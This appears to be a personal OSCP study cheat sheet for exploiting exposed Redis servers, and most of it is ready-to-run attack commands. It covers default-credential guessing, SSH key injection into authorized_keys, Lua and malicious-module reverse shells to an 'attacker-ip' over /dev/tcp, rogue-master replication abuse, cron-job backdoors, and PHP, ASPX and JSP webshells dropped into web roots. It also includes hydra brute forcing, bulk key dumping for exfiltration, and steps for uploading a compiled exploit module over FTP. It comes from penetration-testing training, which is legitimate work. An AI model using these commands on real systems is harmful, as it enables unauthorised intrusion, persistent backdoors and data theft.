OSCP Notes, Redis Cheat Sheet

So if you see this, start with recon:

nc -nv $target 6379
nmap -p 6379 -sV $target
nmap -p 6379 --script redis-brute $target
redis-cli -h $target --> test without a password

redis-cli -h $target --user <> -a <>

# Common credentials to try:
# admin:admin
# administrator:administrator
# root:root
# user:user
# test:test
# redis:redis

You really want to enumerate everything you can for this service. Honestly, to get used to this service, start with doing Postman from Hack the Box:

I also made a how-to for it, but you really, really want to enumerate everything about this port.

6379/tcp  open  redis   Redis key-value store 4.0.9 --> really really look at 
version

then once on:
10.129.2.1:6379> info
# Server
redis_version:4.0.9

Redis is a low-hanging fruit, but you can go down a bad rabbit hole. That’s why it's getting its own section.

One very great attack vector is ssh:

# Generate SSH key
ssh-keygen -t rsa -f redis_key

# Prepare key with newlines
(echo -e "\n\n"; cat redis_key.pub; echo -e "\n\n") > key.txt

# Inject into authorized_keys
redis-cli -h target.com flushall
cat key.txt | redis-cli -h target.com -x set ssh_key
redis-cli -h target.com config set dbfilename authorized_keys
redis-cli -h target.com config set dir /root/.ssh --> switch users 
redis-cli -h target.com save

# Alternative paths
/home/redis/.ssh/authorized_keys
/home/ubuntu/.ssh/authorized_keys
/var/lib/redis/.ssh/authorized_keys

# Connect via SSH
ssh -i redis_key root@target.com

/var/lib/redis/.ssh

#user that allowed me in
ssh -i redis_key redis@$target --> most likely to use

Should be able to sign in without a password

If you can do this without issues, it's probably the best foothold.

Lua scripting/Master-Slave Replication Abuse idea:

redis-cli -h target.com
EVAL "return os.execute('whoami')" 0
EVAL "return os.execute('bash -i >& /dev/tcp/attacker-ip/4444 0>&1')" 0
EVAL "redis.call('SET','shell','test'); return os.execute('id')" 0

basically you can try to do a reverse shell within redis, its possible
you'll need redis-rouge-server from github:
https://github.com/n0b0dyCN/redis-rogue-server
cd RedisModulesSDK/exp/
make

then test:
./redis-rogue-server.py --rhost 127.0.0.1 --lhost 127.0.0.1
./redis-rogue-server.py --rhost 127.0.0.1 --lhost 127.0.0.1
nc -lvvp 9999 --> or guess port

if you need to load, try this:
redis-cli -h target.com
> SLAVEOF attacker-ip 6379
> MODULE LOAD /path/to/evil.so

This gets you the shell too


This also another idea:
redis-cli -h target.com
> MODULE LOAD /path/to/evil.so

Command:
> evil.exec "whoami"
> evil.exec "bash -i >& /dev/tcp/attacker-ip/4444 0>&1"

Password hash extraction/data exfiltration (maybe you might be able to get away with this):

Password:
redis-cli -h target.com
CONFIG GET requirepass
CONFIG SET requirepass "newpassword"
CONFIG SET requirepass ""

Brute force attack:
hydra [-L users.txt or -l user_name] [-P pass.txt or -p password] -f [-S port] redis://target.com

Data Exfil:
redis-cli -h target.com --scan > keys.txt
while read key; do
  echo "Key: $key"
  redis-cli -h target.com GET "$key"
done < keys.txt

Export data types:
redis-cli -h target.com --scan --pattern "user:*"
redis-cli -h target.com --scan --pattern "session:*"

database dump:
redis-cli -h target.com --rdb dump.rdb

bulck export:
redis-cli -h target.com KEYS "*" | while read key; do
  redis-cli -h target.com DUMP "$key" > "${key}.dump"
done

Cron Job:

redis-cli -h target.com
> flushall
> set cron "\n\n*/1 * * * * bash -i >& /dev/tcp/attacker-ip/4444 0>&1\n\n"
> config set dbfilename root
> config set dir /var/spool/cron/crontabs
> save

Alternative cron paths:
/var/spool/cron/root
/var/spool/cron/crontabs/root
/etc/cron.d/redis_backdoor

Post-Exploitation:

redis-cli -h target.com
> flushall
> set shell '<?php system($_REQUEST["cmd"]); ?>'
> config set dbfilename shell.php
> config set dir /var/www/html
> save

# Access: http://target.com/shell.php?cmd=whoami

# Method 2: ASP.NET webshell
> set shell '<%@ Page Language="C#" %><%@ Import Namespace="System.Diagnostics" %><%Process.Start(Request["cmd"]);%>'
> config set dbfilename shell.aspx
> config set dir C:\\inetpub\\wwwroot
> save

# Method 3: JSP webshell
> set shell '<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>'
> config set dbfilename shell.jsp
> config set dir /var/www/html
> save

A lot of what I found came from this site:

Great site, I just wanted to have the commands at the ready. Also secybr does a great blog post as well:

These are great for understanding the service you are testing.

python3 redis-rce.py -f ../RedisModules-ExecuteCommand/module.so -r <victims>-p 6379 -L <yourip>-P 6379

https://web.archive.org/web/20191201022931/http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html

One other way too:
kali@kali:~$ git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
Cloning into 'RedisModules-ExecuteCommand'...
remote: Enumerating objects: 494, done.
remote: Total 494 (delta 0), reused 0 (delta 0), pack-reused 494
Receiving objects: 100% (494/494), 207.20 KiB | 349.00 KiB/s, done.
Resolving deltas: 100% (286/286), done.
kali@kali:~$ cd RedisModules-ExecuteCommand
kali@kali:~/RedisModules-ExecuteCommand$ make
make -C ./src
make[1]: Entering directory '/home/kali/RedisModules-ExecuteCommand/src'
make -C ../rmutil
make[2]: Entering directory '/home/kali/RedisModules-ExecuteCommand/rmutil'
...
ld -o module.so module.o -shared -Bsymbolic  -L../rmutil -lrmutil -lc
make[1]: Leaving directory '/home/kali/RedisModules-ExecuteCommand/src'
cp ./src/module.so .


Then put this on the ftp server if accessable, --> from experince

Find the right directory:
ftp> put module.so 

redis:
redis-cli -h $target
MODULE LOAD /var/ftp/pub/module.so
system.exec "id"
Then netcat:
nc -lnvp 6379
system.exec "/bin/bash -i >& /dev/tcp/$target/6379 0>&1"
check netcat, should be a shell

Also in my repo:

I compiled the module.so file.

Also redid my repo here:

This one goes into more detail.

And thank you to the creator for this repo: